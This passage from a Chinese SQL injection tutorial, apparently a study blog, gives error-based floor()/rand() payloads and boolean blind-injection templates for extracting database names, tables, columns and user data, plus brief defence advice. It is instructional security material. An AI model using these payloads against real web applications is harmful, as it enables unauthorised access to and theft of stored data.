id=\"uf3b8bce5\">\u653b\u51fb\u8005\u62ff\u7740\u201c\u53f7\u7801~security~0\u201d\u53bb\u767b\u8bb0&#xff0c;\u767b\u8bb0\u5904\u8bb0\u5f55\u4e0b\u6765&#xff08;\u4e34\u65f6\u8868\u65b0\u589e\u4e00\u6761&#xff09;\u3002<\/li>\n<li id=\"u8a45bd89\">\u63a5\u7740\u53c8\u62ff\u7740\u201c\u53f7\u7801~security~1\u201d\u767b\u8bb0&#xff0c;\u4e34\u65f6\u8868\u518d\u65b0\u589e\u4e00\u6761\u3002<\/li>\n<li id=\"uba7dac5c\">\u7b2c\u4e09\u6b21\u53c8\u62ff\u201c\u53f7\u7801~security~1\u201d\u767b\u8bb0\u2014\u2014\u91cd\u590d\u4e86&#xff01; \u767b\u8bb0\u5904\u5d29\u6e83&#xff0c;\u5927\u558a&#xff1a;\u201cDuplicate entry &#039;~security~1&#039;&#xff08;\u91cd\u590d\u767b\u8bb0~security~1&#xff09;&#xff01;\u201d<\/li>\n<li id=\"uae5aa4e4\">\u653b\u51fb\u8005\u4ece\u5d29\u6e83\u4fe1\u606f\u91cc&#xff0c;\u76f4\u63a5\u770b\u5230\u4e86\u85cf\u5728\u53f7\u7801\u91cc\u7684\u201c\u79d8\u5bc6\u7eb8\u6761\u201dsecurity&#xff08;\u6570\u636e\u5e93\u540d&#xff09;\u3002<\/li>\n<p>\u7206\u51fa\u5f53\u524d\u6570\u636e\u5e93<\/p>\n<p>?id&#061;1&#039; and (select 1 from (select concat((select database()),floor(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23<\/p>\n<p>\u7206\u51fa\u6240\u6709\u7684\u6570\u636e\u5e93 \u901a\u8fc7limit\u6765\u63a7\u5236<\/p>\n<p>?id&#061;1&#039; and (select 1 from (select concat((select schema_name from information_schema.schemata limit 4,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23<\/p>\n<p>\u7206\u51fa\u8868\u540d<\/p>\n<p>?id&#061;1&#039; and (select 1 from (select concat((select table_name from information_schema.tables where table_schema&#061;database() limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23<\/p>\n<p>\u7206\u51fa\u5b57\u6bb5<\/p>\n<p>?id&#061;1&#039; and (select 1 from (select concat((select column_name from information_schema.columns where table_name&#061;&#039;user&#039; limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23<\/p>\n<p>\u7206\u51fa\u6570\u636e<\/p>\n<p>?id&#061;1&#039; and (select 1 from (select concat((select username from users),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23 <\/p>\n<h6 id=\"zbCmT\">6.3.4.3.5. \u4e0eextractvalue()\/updatexml()\u7684\u5bf9\u6bd4<\/h6>\n<table id=\"KN8V6\">\n<tbody>\n<tr>\n<td>\n<p id=\"uc6a6a817\">\u7ef4\u5ea6<\/p>\n<\/td>\n<td>\n<p id=\"uf335c615\">floor()\u76f2\u6ce8<\/p>\n<\/td>\n<td>\n<p id=\"u44bce178\">extractvalue()\/updatexml()<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"u8557ec8b\">\u89e6\u53d1\u65b9\u5f0f<\/p>\n<\/td>\n<td>\n<p id=\"ud1fe0b4d\">\u4e3b\u952e\u51b2\u7a81&#xff08;group by<\/p>\n<p id=\"ue92e18b8\">&#043;rand()&#xff09;<\/p>\n<p id=\"u4fd23616\">\u3010\u56fa\u5b9a\u968f\u673a\u6570&#043;\u5206\u7ec4\u3011<\/p>\n<\/td>\n<td>\n<p id=\"u7e517e5c\">\u975e\u6cd5XPath\u8bed\u6cd5<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"u9f58af6d\">\u6570\u636e\u957f\u5ea6\u9650\u5236<\/p>\n<\/td>\n<td>\n<p id=\"u6b4717f7\">\u65e0&#xff08;\u62a5\u9519\u4fe1\u606f\u53ef\u5b8c\u6574\u8fd4\u56de\u957f\u6570\u636e&#xff09;<\/p>\n<\/td>\n<td>\n<p id=\"u877d614d\">\u6700\u591a\u8fd4\u56de32\u4e2a\u5b57\u7b26<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"uda051d16\">\u9002\u7528\u573a\u666f<\/p>\n<\/td>\n<td>\n<p id=\"u345a4cb9\">\u76f2\u6ce8&#xff08;\u65e0\u9519\u8bef\u56de\u663e\u65f6\u4e5f\u53ef\u80fd\u89e6\u53d1&#xff09;<\/p>\n<\/td>\n<td>\n<p id=\"uca406578\">\u663e\u9519\u6ce8\u5165&#xff08;\u9700\u9519\u8bef\u56de\u663e\u5f00\u542f&#xff09;<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h6 id=\"wbEaw\">6.3.4.3.6. \u9632\u5fa1\u5efa\u8bae<\/h6>\n<li id=\"u5b750372\">\u7981\u7528\u5371\u9669\u51fd\u6570&#xff1a;\u751f\u4ea7\u73af\u5883\u9650\u5236floor()\u3001rand()\u7b49\u51fd\u6570\u7684\u4f7f\u7528&#xff08;\u9700\u8bc4\u4f30\u4e1a\u52a1\u5f71\u54cd&#xff09;\u3002<\/li>\n<li id=\"u2663f1a9\">\u8f93\u5165\u4e25\u683c\u8fc7\u6ee4&#xff1a;\u5bf9\u7528\u6237\u8f93\u5165\u7684SQL\u53c2\u6570\u8fdb\u884c\u767d\u540d\u5355\u6821\u9a8c&#xff0c;\u7981\u6b62group by\u3001rand()\u7b49\u5173\u952e\u5b57\u3002<\/li>\n<li id=\"u60c49cff\">\u4f7f\u7528\u9884\u7f16\u8bd1\u8bed\u53e5&#xff1a;\u901a\u8fc7\u53c2\u6570\u7ed1\u5b9a\u907f\u514dSQL\u62fc\u63a5&#xff0c;\u4ece\u6839\u6e90\u963b\u6b62\u6ce8\u5165\u3002<\/li>\n<h6 id=\"wswmZ\">6.3.4.3.7. \u4e00\u53e5\u8bdd\u603b\u7ed3<\/h6>\n<p id=\"u057144a0\">floor()\u662f\u6570\u5b66\u53d6\u6574\u5de5\u5177&#xff0c;\u4f46\u4e0erand()\u3001group by\u7ec4\u5408\u540e&#xff0c;\u6210\u4e3a\u7a81\u7834\u201c\u76f2\u6ce8\u201d\u7684\u5173\u952e\u624b\u6bb5\u3002\u9632\u5fa1\u6838\u5fc3\u662f\u9650\u5236\u5371\u9669\u51fd\u6570&#043;\u907f\u514dSQL\u62fc\u63a5&#xff0c;\u5207\u65ad\u653b\u51fb\u8005\u5229\u7528\u4e3b\u952e\u51b2\u7a81\u6cc4\u9732\u6570\u636e\u7684\u8def\u5f84 &#x1f6e1;\ufe0f\u3002<\/p>\n<h4 id=\"Rpgrh\">6.4. \u5e03\u5c14\u76f2\u6ce8<\/h4>\n<p id=\"ud93c5118\">\u76f2\u6ce8&#xff1a;\u3010\u7b28\u86cb\u8ba4\u4e3a&#xff0c;\u5176\u5b9e\u5c31\u662f\u5728\u9010\u4e00\u5c1d\u8bd5\u3011<\/p>\n<h5 id=\"MGW3s\">6.4.1. \u539f\u7406<\/h5>\n<p id=\"ub0ad6f40\">\u5e03\u5c14\u76f2\u6ce8\u662f\u4e00\u79cd**\u201c\u662f\/\u5426\u95ee\u7b54\u5f0f\u201d**\u7684SQL\u6ce8\u5165\u624b\u6cd5\u2014\u2014\u5f53\u6570\u636e\u5e93\u4e0d\u8fd4\u56de\u9519\u8bef\u4fe1\u606f&#xff0c;\u4e5f\u4e0d\u663e\u793a\u67e5\u8be2\u7ed3\u679c&#xff08;\u9875\u9762\u53ea\u8fd4\u56de\u201c\u6210\u529f\/\u5931\u8d25\u201d\u4e24\u79cd\u72b6\u6001&#xff09;\u65f6&#xff0c;\u653b\u51fb\u8005\u901a\u8fc7\u6784\u9020\u201c\u771f\u5047\u95ee\u9898\u201d&#xff0c;\u9010\u6b65\u731c\u51fa\u654f\u611f\u6570\u636e\u3002<\/p>\n<p id=\"u1288123d\">\u653b\u51fb\u8005\u901a\u8fc7\u89c2\u5bdf\u5e94\u7528\u7a0b\u5e8f\u7684\u54cd\u5e94&#xff08;\u5982\u9875\u9762\u5185\u5bb9\u7684\u53d8\u5316\u6216 HTTP \u72b6\u6001\u7801&#xff09;&#xff0c;\u63a8\u65ad\u51fa\u6570\u636e\u5e93\u4e2d\u7684\u4fe1\u606f\u3002\u4e0e\u4f20\u7edf\u7684\u6ce8\u5165\u65b9\u5f0f\u4e0d\u540c&#xff0c;\u5e03\u5c14\u76f2\u6ce8\u4e0d\u4f1a\u76f4\u63a5\u8fd4\u56de\u67e5\u8be2\u7ed3\u679c&#xff0c;\u800c\u662f\u901a\u8fc7\u6784\u9020\u903b\u8f91\u6761\u4ef6\u6765\u5224\u65ad\u6570\u636e\u5e93\u7684\u5185\u5bb9\u3002<\/p>\n<p id=\"u9899ee97\">\u3010\u7c7b\u4f3c\u4e8e\u6d77\u9f9f\u6c64\u3011<\/p>\n<h5 id=\"63990d20\">6.4.2. \u6838\u5fc3\u903b\u8f91&#xff1a;\u7528\u201c\u771f\u5047\u5224\u65ad\u201d\u62fc\u51fa\u79d8\u5bc6<\/h5>\n<p id=\"u2d957c64\">\u628a\u6570\u636e\u5e93\u91cc\u7684\u654f\u611f\u4fe1\u606f&#xff08;\u6bd4\u5982admin\u7684\u5bc6\u7801&#xff09;\u62c6\u6210\u5355\u4e2a\u5b57\u7b26&#xff0c;\u6bcf\u6b21\u95ee\u6570\u636e\u5e93&#xff1a;\u201c\u8fd9\u4e2a\u5b57\u7b26\u662f\u4e0d\u662fa&#xff1f;\u662f\u4e0d\u662fb&#xff1f;&#8230;\u201d \u76f4\u5230\u62fc\u51fa\u5b8c\u6574\u5185\u5bb9\u3002<\/p>\n<p id=\"u9958d76b\">\u5173\u952e\u51fd\u6570&#xff1a;<\/p>\n<ul>\n<li id=\"udc814f23\">substr(str, pos, len)&#xff1a;\u622a\u53d6\u5b57\u7b26\u4e32&#xff08;\u6bd4\u5982substr(&#039;admin&#039;,1,1)\u8fd4\u56dea&#xff09;\u3002<\/li>\n<li id=\"uf2d05753\">ascii()&#xff1a;\u628a\u5b57\u7b26\u8f6c\u6210ASCII\u7801&#xff08;\u6bd4\u5982ascii(&#039;a&#039;)&#061;97&#xff09;\u3002<\/li>\n<li id=\"u6d9501cf\">&#061;\/&gt;\/&lt;&#xff1a;\u6bd4\u8f83ASCII\u7801&#xff0c;\u5224\u65ad\u5b57\u7b26\u662f\u5426\u6b63\u786e\u3002<\/li>\n<\/ul>\n<h5 id=\"Pa2Oe\">6.4.3. \u5e03\u5c14\u76f2\u6ce8\u7684\u7279\u70b9&#xff1a;<\/h5>\n<li id=\"u02e6383b\">\u65e0\u663e\u5f0f\u9519\u8bef\u4fe1\u606f\u8fd4\u56de<\/li>\n<li id=\"u585e75eb\">\u65e0\u67e5\u8be2\u7ed3\u679c\u76f4\u63a5\u663e\u793a<\/li>\n<li id=\"u86dec11c\">\u53ea\u80fd\u901a\u8fc7\u9875\u9762\u54cd\u5e94\u5dee\u5f02(\u5982\u5185\u5bb9\u53d8\u5316\u3001HTTP\u72b6\u6001\u7801\u3001\u54cd\u5e94\u65f6\u95f4\u7b49)\u6765\u5224\u65ad\u7ed3\u679c<\/li>\n<li id=\"udb308ff6\">\u901a\u5e38\u9700\u8981\u9010\u5b57\u7b26\u731c\u6d4b\u6570\u636e<\/li>\n<p id=\"uce29473b\">\u3010\u5e03\u5c14\u76f2\u6ce8\u9002\u7528\u4e8e\u6ca1\u6709\u56de\u663e\u660e\u786e\u62a5\u9519&#xff0c;\u4f46\u4f1a\u56de\u663e\u662f\u5426\u4e3a\u6b63\u5e38\u9875\u9762<\/p>\n<p id=\"ub81a83ac\">\u5e03\u5c14\u76f2\u6ce8&#xff0c;\u5373\u5728\u9875\u9762\u6ca1\u6709\u9519\u8bef\u56de\u663e\u65f6\u5b8c\u6210\u7684\u6ce8\u5165\u653b\u51fb\u3002<\/p>\n<p id=\"ub5c83937\">\u6b64\u65f6\u6211\u4eec\u8f93\u5165\u7684\u8bed\u53e5\u8ba9\u9875\u9762\u5448\u73b0\u51fa\u4e24\u79cd\u72b6\u6001&#xff0c;\u76f8\u5f53\u4e8etrue\u548cfalse&#xff0c;<\/p>\n<p id=\"u2ee8ba29\">\u6839\u636e\u8fd9\u4e24\u79cd\u72b6\u6001\u53ef\u4ee5\u5224\u65ad\u6211\u4eec\u8f93\u5165\u7684\u8bed\u53e5\u662f\u5426\u67e5\u8be2\u6210\u529f\u3002\u3011<\/p>\n<h5 id=\"GWcWU\">6.4.4. \u524d\u63d0&#xff1a;\u786e\u8ba4\u6ce8\u5165\u70b9<\/h5>\n<p id=\"uae1859b9\">\u5148\u6784\u9020\u201c\u6052\u771f\u201d\u548c\u201c\u6052\u5047\u201d\u8bed\u53e5&#xff0c;\u9a8c\u8bc1\u9875\u9762\u662f\u5426\u6709\u54cd\u5e94\u5dee\u5f02&#xff1a;<\/p>\n<p>?id&#061;1&#039; and 1&#061;1 &#8211;&#043;  # \u9875\u9762\u6b63\u5e38&#xff08;\u6761\u4ef6\u4e3a\u771f&#xff09;<br \/>\n?id&#061;1&#039; and 1&#061;2 &#8211;&#043;  # \u9875\u9762\u9519\u8bef&#xff08;\u6761\u4ef6\u4e3a\u5047&#xff09; <\/p>\n<p id=\"ub3c41a3b\">\u2192 \u82e5\u54cd\u5e94\u4e0d\u540c&#xff0c;\u8bf4\u660e\u5b58\u5728\u5e03\u5c14\u76f2\u6ce8\u6f0f\u6d1e\u3002<\/p>\n<h5 id=\"Cj3HK\">6.4.5. \u57fa\u672c\u6b65\u9aa4<\/h5>\n<li id=\"u87ea781f\">\u7206\u5e93\u540d\u957f\u5ea6<\/li>\n<li id=\"u883bdc94\">\u6839\u636e\u5e93\u540d\u957f\u5ea6\u7206\u5e93\u540d<\/li>\n<li id=\"u66ba8a2b\">\u5bf9\u5f53\u524d\u5e93\u7206\u8868\u6570\u91cf<\/li>\n<li id=\"u5d08d2d0\">\u6839\u636e\u5e93\u540d\u548c\u8868\u6570\u91cf\u7206\u8868\u540d\u957f\u5ea6<\/li>\n<li id=\"u05b2dcd3\">\u6839\u636e\u8868\u540d\u957f\u5ea6\u7206\u8868\u540d<\/li>\n<li id=\"uaf99c45d\">\u5bf9\u8868\u7206\u5217\u6570\u91cf<\/li>\n<li id=\"u36a986c1\">\u6839\u636e\u8868\u540d\u548c\u5217\u6570\u91cf\u7206\u5217\u540d\u957f\u5ea6<\/li>\n<li id=\"u02285461\">\u6839\u636e\u5217\u540d\u957f\u5ea6\u7206\u5217\u540d<\/li>\n<li id=\"u9acbb1b7\">\u6839\u636e\u5217\u540d\u7206\u6570\u636e\u503c<\/li>\n<p id=\"uce97e87d\">\n<p class=\"img-center\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"601\" id=\"I4gSG\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/01\/20260123131644-697374bc9ac8a.png\" width=\"931\" \/><\/p>\n<h6 id=\"vAYkx\">6.4.5.1. \u7206\u5e93\u540d\u957f\u5ea6<\/h6>\n<p id=\"udc54959d\">\u6784\u9020\u8bed\u53e5\u5224\u65ad\u5f53\u524d\u6570\u636e\u5e93\u540d\u5b57\u957f\u5ea6:<\/p>\n<p>length(str)                             \/\/\u8fd4\u56destr\u5b57\u7b26\u4e32\u7684\u957f\u5ea6\u3002<br \/>\n1 and length(database())&#061;4 \/\/\u5224\u65ad\u6570\u636e\u5e93\u540d\u5b57\u7684\u957f\u5ea6\u662f\u5426\u4e3a4<br \/>\n1 and length(database())&gt;4 \/\/\u5224\u65ad\u6570\u636e\u5e93\u540d\u5b57\u957f\u5ea6\u662f\u5426\u5927\u4e8e4 <\/p>\n<h6 id=\"u2tNy\">6.4.5.2. \u6839\u636e\u5e93\u540d\u957f\u5ea6\u7206\u5e93\u540d<\/h6>\n<p id=\"u234f675f\">\u5bf9\u7167ASCII\u8868<\/p>\n<p id=\"ubd3d36ed\">\u5f97\u5230\u5f53\u524d\u6570\u636e\u5e93\u540d\u79f0\u4e3asqli<\/p>\n<p>substring(str, pos, len)<\/p>\n<p>\/\/\u5c06str\u4ecepos\u4f4d\u7f6e\u5f00\u59cb\u622a\u53d6len\u957f\u5ea6\u7684\u5b57\u7b26\u8fdb\u884c\u8fd4\u56de\u3002\u6ce8\u610f\u8fd9\u91cc\u7684pos\u4f4d\u7f6e\u662f\u4ece1\u5f00\u59cb\u7684&#xff0c;\u4e0d\u662f\u6570\u7ec4\u76840\u5f00\u59cb<\/p>\n<p>?id&#061;1&#039; and length(database())&#061;8 &#8211;&#043;  \/\/\u9875\u9762\u6b63\u5e38\u2192\u6570\u636e\u5e93\u540d\u957f\u5ea6\u4e3a8<\/p>\n<p>1 and substring(database(),1,1)&#061;&#039;q&#039;                       \/\/\u5224\u65ad\u6570\u636e\u5e93\u7b2c\u4e00\u4e2a\u5b57\u6bcd\u662f\u5426\u4e3aq<br \/>\n1 and substring(database(),2,1)&#061;&#039;q&#039;                       \/\/\u5224\u65ad\u6570\u636e\u5e93\u540d\u5b57\u7b2c\u4e8c\u4e2a\u5b57\u6bcd\u662f\u5426\u4e3aq<\/p>\n<p>AND ASCII(SUBSTRING(database(),1,1))&#061;97 &#8212; \u5224\u65ad\u6570\u636e\u5e93\u540d\u7b2c\u4e00\u4e2a\u5b57\u7b26\u7684ASCII\u7801\u662f\u5426\u4e3a97(&#039;a&#039;)<br \/>\n\u3010\u57fa\u4e8eascii\u7801\u7684\u76f2\u6ce8\u3011<\/p>\n<p>mid(str,pos,len)                                         \/\/\u8ddf\u4e0a\u9762\u7684\u7528\u6cd5\u4e00\u6a21\u4e00\u6837&#xff0c;\u622a\u53d6\u5b57\u7b26\u4e32 <\/p>\n<h6 id=\"qqwTe\">6.4.5.3. \u5bf9\u5f53\u524d\u5e93\u7206\u8868\u6570\u91cf<\/h6>\n<p id=\"u978f8043\">\u8f93\u5165<\/p>\n<p id=\"ubb50edd4\">1 and (select count(table_name) from information_schema.tables where table_schema&#061;database())&#061;2<\/p>\n<p id=\"u80efe797\">\u5f97\u77e5\u5171\u6709\u4e24\u4e2a\u8868<\/p>\n<p id=\"u9ca13693\">\u3010&#061;2\u6700\u7ec8\u5224\u65ad&#xff1a;\u5f53\u524d\u6570\u636e\u5e93\u4e0b\u7684\u8868\u6570\u91cf\u662f\u5426\u7b49\u4e8e2&#xff0c;\u9010\u4e2a\u5c1d\u8bd53&#xff0c;4&#xff0c;5&#xff0c;\u3011<\/p>\n<h6 id=\"eJywy\">6.4.5.4. \u6839\u636e\u5e93\u540d\u548c\u8868\u6570\u91cf\u7206\u8868\u540d\u957f\u5ea6<\/h6>\n<p id=\"u30bece8b\">\u4f8b\u5b50&#xff1a;<\/p>\n<li id=\"uc2a411e0\">\u8f93\u5165<\/li>\n<p id=\"uad44a413\">?id&#061;1 and length((select table_name from information_schema.tables where table_schema&#061;database() limit 0,1))&#061;1 <\/p>\n<p id=\"ubf8ad930\">\u7ed3\u679c&#xff1a;#query_error<\/p>\n<li id=\"ua83a114e\">\u8f93\u5165<\/li>\n<p id=\"u5274327c\">?id&#061;1 and length(select table_name from information_schema.tables where table_schema&#061;database() limit 0,1)&#061;4<\/p>\n<p id=\"ue2a75a47\">\u7ed3\u679c&#xff1a;#query_success<\/p>\n<p id=\"u906cc6d7\">\u8bf4\u660e&#xff1a;#\u5f53\u524d\u5e93sqli\u7684\u7b2c\u4e00\u5f20\u8868\u8868\u540d\u957f\u5ea6\u4e3a4<\/p>\n<li id=\"uf8026f3d\">\u8f93\u5165<\/li>\n<p id=\"u6cda0761\">?id&#061;1 and length(select table_name from information_schema.tables where table_schema&#061;database() limit 1,1)&#061;4<\/p>\n<p id=\"u3fdedc71\">\u7ed3\u679c&#xff1a;#query_success<\/p>\n<p id=\"ue3985d88\">\u8bf4\u660e&#xff1a;#\u5f53\u524d\u5e93sqli\u7684\u7b2c\u4e8c\u5f20\u8868\u8868\u540d\u957f\u5ea6\u4e3a4<\/p>\n<p id=\"u4954f095\">\n<ul>\n<li id=\"u7aa76cb4\">limit 0,1&#xff1a;\u53d6information_schema.tables\u4e2d\u7b26\u5408\u6761\u4ef6\u7684\u7b2c1\u6761\u8bb0\u5f55&#xff08;\u5373\u5f53\u524d\u6570\u636e\u5e93\u7684\u7b2c1\u5f20\u8868&#xff09;\u3002<\/li>\n<li id=\"u23f02b1c\">\u6ce8\u610f\u89c2\u5bdflimit i,1 i\u4ece0\u5f00\u59cb&#xff08;\u7b2ci&#043;1\u5f20\u8868&#xff09;<\/li>\n<li id=\"u7f07c9d1\">\u6ce8\u91ca&#xff1a;\u5f97\u5230\u8868\u6570\u91cfi\u540e&#xff0c;i\u5c31\u662f\u5faa\u73af\u6b21\u6570&#xff0c;i\u662f\u8868\u7684\u4e0b\u6807-1&#xff0c;\u5927\u5faa\u73afi\u6b21&#xff08;\u904d\u5386\u6240\u6709\u8868&#xff09;&#xff0c;\u8fd9\u91cc\u7684i\u4ece0\u5f00\u59cb&#xff0c;\u4f7f\u7528limit i ,1\u9650\u5b9a\u662f\u7b2c\u51e0\u5f20\u8868&#xff0c;\u5185\u5d4c\u5faa\u73afj\u4ece1\u5230\u65e0\u7a77&#xff08;\u7a77\u4e3e\u6240\u6709\u8868\u540d\u957f\u5ea6\u53ef\u80fd\u6027&#xff09;\u5c1d\u8bd5\u83b7\u53d6\u6bcf\u4e2a\u8868\u7684\u8868\u540d\u957f\u5ea6\u3010\u4e00\u4e2a\u5d4c\u5957\u5faa\u73af\u3011<\/li>\n<\/ul>\n<h6 id=\"kSrvg\">6.4.5.5. \u6839\u636e\u8868\u540d\u957f\u5ea6\u7206\u8868\u540d<\/h6>\n<p id=\"u94632592\">\u518d\u5927\u5faa\u73afi\u6b21&#xff08;\u904d\u5386\u6240\u6709\u8868&#xff09;&#xff0c;\u5185\u5d4c\u5faa\u73afj\u6b21&#xff08;\u8868\u540d\u7684\u6240\u6709\u5b57\u7b26&#xff09;&#xff0c;i\u662f\u8868\u4e0b\u6807-1&#xff0c;j\u662f\u5b57\u7b26\u4e0b\u6807&#xff0c;\u518d\u5185\u5d4c\u5faa\u73afk\u4ecea\u5230z&#xff08;\u5047\u8bbe\u8868\u540d\u5168\u662f\u5c0f\u5199\u82f1\u6587\u5b57\u7b26&#xff09;\u5c1d\u8bd5\u83b7\u53d6\u6bcf\u4e2a\u8868\u7684\u8868\u540d<\/p>\n<p id=\"u37c493f6\">\u3010\u4e09\u5c42\u5d4c\u5957\u3011<\/p>\n<p id=\"uf3735960\">\u6ce8\u610f\u89c2\u5bdfsubstr((select\u2026limit i,1),j,1)<\/p>\n<p id=\"ucddf9513\">i\u4ece0\u5f00\u59cb&#xff08;\u7b2ci&#043;1\u5f20\u8868&#xff09;&#xff0c;j\u4ece1\u5f00\u59cb&#xff08;\u7b2cj\u4e2a\u5b57\u7b26&#xff09;<\/p>\n<h6 id=\"qlpNc\">6.4.5.6. \u5bf9\u8868\u7206\u5217\u6570\u91cf<\/h6>\n<p id=\"u8b007e19\">\u64cd\u4f5c\u540c\u5bf9\u5f53\u524d\u5e93\u7206\u8868\u6570\u91cf\u7684\u6b65\u9aa4&#xff0c;\u53ea\u662f\u8981\u67e5\u8be2\u7684\u8868\u4e0d\u540c<\/p>\n<p>?id&#061;1&#039; and (select count(column_name) from information_schema.columns<br \/>\n            where table_schema&#061;database() and table_name&#061;&#039;\u8868\u540d&#039;)<br \/>\n            &#061;n &#8211;&#043;<\/p>\n<p id=\"u98f19364\">\n<h6 id=\"DBpDj\">6.4.5.7. \u6839\u636e\u8868\u540d\u548c\u5217\u6570\u91cf\u7206\u5217\u540d\u957f\u5ea6<\/h6>\n<p id=\"uf156db73\">\u64cd\u4f5c\u540c\u5bf9\u5f53\u524d\u5e93\u7206\u8868\u540d\u957f\u5ea6\u7684\u6b65\u9aa4&#xff0c;i\u662f\u5217\u6807-1<\/p>\n<ul>\n<li id=\"uf627efd7\">\u6ce8\u610f\u89c2\u5bdflimit i,1 i\u4ece0\u5f00\u59cb&#xff08;\u7b2ci&#043;1\u5217&#xff09;<\/li>\n<\/ul>\n<p>?id&#061;1&#039; and length(<br \/>\n  (select column_name from information_schema.columns<br \/>\n   where table_schema&#061;database() and table_name&#061;&#039;\u8868\u540d&#039;<br \/>\n   limit i,1)<br \/>\n)&#061;n &#8211;&#043;<\/p>\n<p id=\"u7e26f85d\">\u8fd9\u4e2a\u5728\u5224\u65ad\u4ed6\u7684\u957f\u5ea6&#xff0c;\u5373length(\u4ec5\u67e5\u8be2\u5f53\u524d\u6570\u636e\u5e93\u4e0busers\u8868\u7684\u5217\u4fe1\u606f&#xff0c;\u7b2c\u51e0\u5217)<\/p>\n<p id=\"uec046a2c\">\u7528limit i,1\u5b9a\u4f4d\u5217&#xff0c;\u7528length()\u731c\u957f\u5ea6<\/p>\n<p id=\"u0f074b1c\">\n<p id=\"u72a794b1\">\u3010<\/p>\n<ul>\n<li id=\"uafbd170b\">\u7206\u5217\u6570\u91cf\u662f\u7edf\u8ba1\u603b\u6570&#xff0c;\u7528count()&#xff1b;<\/li>\n<li id=\"u87220359\">\u7206\u5217\u540d\u957f\u5ea6\u662f\u5b9a\u4f4d\u5355\u6761\u8bb0\u5f55&#043;\u6d4b\u957f\u5ea6&#xff0c;\u7528limit&#043;length()\u3002<\/li>\n<\/ul>\n<p id=\"uea45e326\">\u3011<\/p>\n<h6 id=\"zRJx0\">6.4.5.8. \u6839\u636e\u5217\u540d\u957f\u5ea6\u7206\u5217\u540d<\/h6>\n<p id=\"u7d1801ec\">\u64cd\u4f5c\u540c\u5bf9\u5f53\u524d\u5e93\u7206\u8868\u540d\u7684\u6b65\u9aa4&#xff0c;i\u662f\u5217\u6807-1&#xff0c;j\u662f\u5b57\u7b26\u4e0b\u6807<\/p>\n<ul>\n<li id=\"u5ae545a8\">\u6ce8\u610f\u89c2\u5bdfsubstr((select\u2026limit i,1),j,1)) i\u4ece0\u5f00\u59cb&#xff08;\u7b2ci&#043;1\u5217&#xff09;&#xff0c;j\u4ece1\u5f00\u59cb&#xff08;\u7b2cj\u4e2a\u5b57\u7b26&#xff09;<\/li>\n<\/ul>\n<p>?id&#061;1&#039; and substr(<br \/>\n  (select column_name from information_schema.columns<br \/>\n   where table_schema&#061;database() and table_name&#061;&#039;\u8868\u540d&#039;<br \/>\n   limit i,1),<br \/>\npos,1<br \/>\n)&#061;&#039;c&#039; &#8211;&#043;<\/p>\n<p id=\"u54160b65\">pos\u662f\u7b2c\u51e0\u4f4d&#xff0c;1&#xff0c;2&#xff0c;3&#xff0c;4.\u3002\u3002<\/p>\n<p id=\"u1fddec88\">c\u662f\u630726\u5b57\u6bcd\u4e2d\u4efb\u610f\u4e00\u4e2a\u5c0f\u5199\u5b57\u6bcd\/\u6570\u5b57<\/p>\n<h6 id=\"bgRS9\">6.4.5.9. \u6839\u636e\u5217\u540d\u7206\u6570\u636e\u503c<\/h6>\n<p id=\"u145f0672\">flag\u6709\u56fa\u5b9a\u7684\u683c\u5f0f&#xff0c;\u4ee5\u53f3\u82b1\u62ec\u53f7\u7ed3\u675f&#xff0c;\u5047\u8bbeflag\u6709\u5c0f\u5199\u82f1\u6587\u5b57\u6bcd\u3001\u4e0b\u5212\u7ebf\u3001\u82b1\u62ec\u53f7\u6784\u6210&#xff0c;\u7531\u4e8e\u4e0d\u77e5\u9053flag\u957f\u5ea6&#xff0c;\u8981\u4e00\u4e2a\u65e0\u9650\u5faa\u73af&#xff0c;\u5b9a\u4e49\u8ba1\u6570\u7b26j&#xff0c;\u5185\u5d4c\u5faa\u73afi\u904d\u5386\u5c0f\u5199\u3001\u4e0b\u5212\u7ebf\u548c\u82b1\u62ec\u53f7&#xff0c;\u5339\u914d\u5230\u5b57\u7b26\u540ej&#043;&#043;&#xff0c;\u51fa\u5faa\u73af\u7684\u6761\u4ef6\u662f\u5f53\u524di\u662f\u53f3\u82b1\u62ec\u53f7&#xff0c;\u5373flag\u7ed3\u675f<\/p>\n<p id=\"u5933f0a2\">\u6ce8\u610f\u89c2\u5bdfsubstr((select\u2026),j,1)<\/p>\n<p id=\"u866b37c5\">j\u4ece1\u5f00\u59cb&#xff08;flag\u7684\u7b2cj\u4e2a\u5b57\u7b26&#xff09;<\/p>\n<p id=\"uf45a7f2c\">\u7528limit row,1\u5b9a\u4f4d\u884c\u2192\u7528length()\u6d4b\u6570\u636e\u957f\u5ea6\u2192\u7528substr(pos,1)\u9010\u4f4d\u731c\u5b57\u7b26\u3002<\/p>\n<p id=\"ua11275d5\">\u4ee3\u7801\u6a21\u677f&#xff1a;<\/p>\n<p>?id&#061;1&#039; and substr(<br \/>\n  (select \u5217\u540d from \u8868\u540d limit row,1),<br \/>\npos,1<br \/>\n)&#061;&#039;c&#039; &#8211;&#043; <\/p>\n<p id=\"u153b64d7\">\u53d8\u91cf\u66ff\u6362\u8bf4\u660e<\/p>\n<table id=\"SwuNy\">\n<tbody>\n<tr>\n<td>\n<p id=\"ub8204b25\">\u53d8\u91cf<\/p>\n<\/td>\n<td>\n<p id=\"u01c7b920\">\u542b\u4e49<\/p>\n<\/td>\n<td>\n<p id=\"u1e046e98\">\u793a\u4f8b\u503c<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"u52a64d5f\">\u5217\u540d<\/p>\n<\/td>\n<td>\n<p id=\"ud3be9e09\">\u5df2\u77e5\u5217\u540d&#xff08;\u5982username&#xff09;<\/p>\n<\/td>\n<td>\n<p id=\"u3202f8d7\">username<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"udb71cd2d\">\u8868\u540d<\/p>\n<\/td>\n<td>\n<p 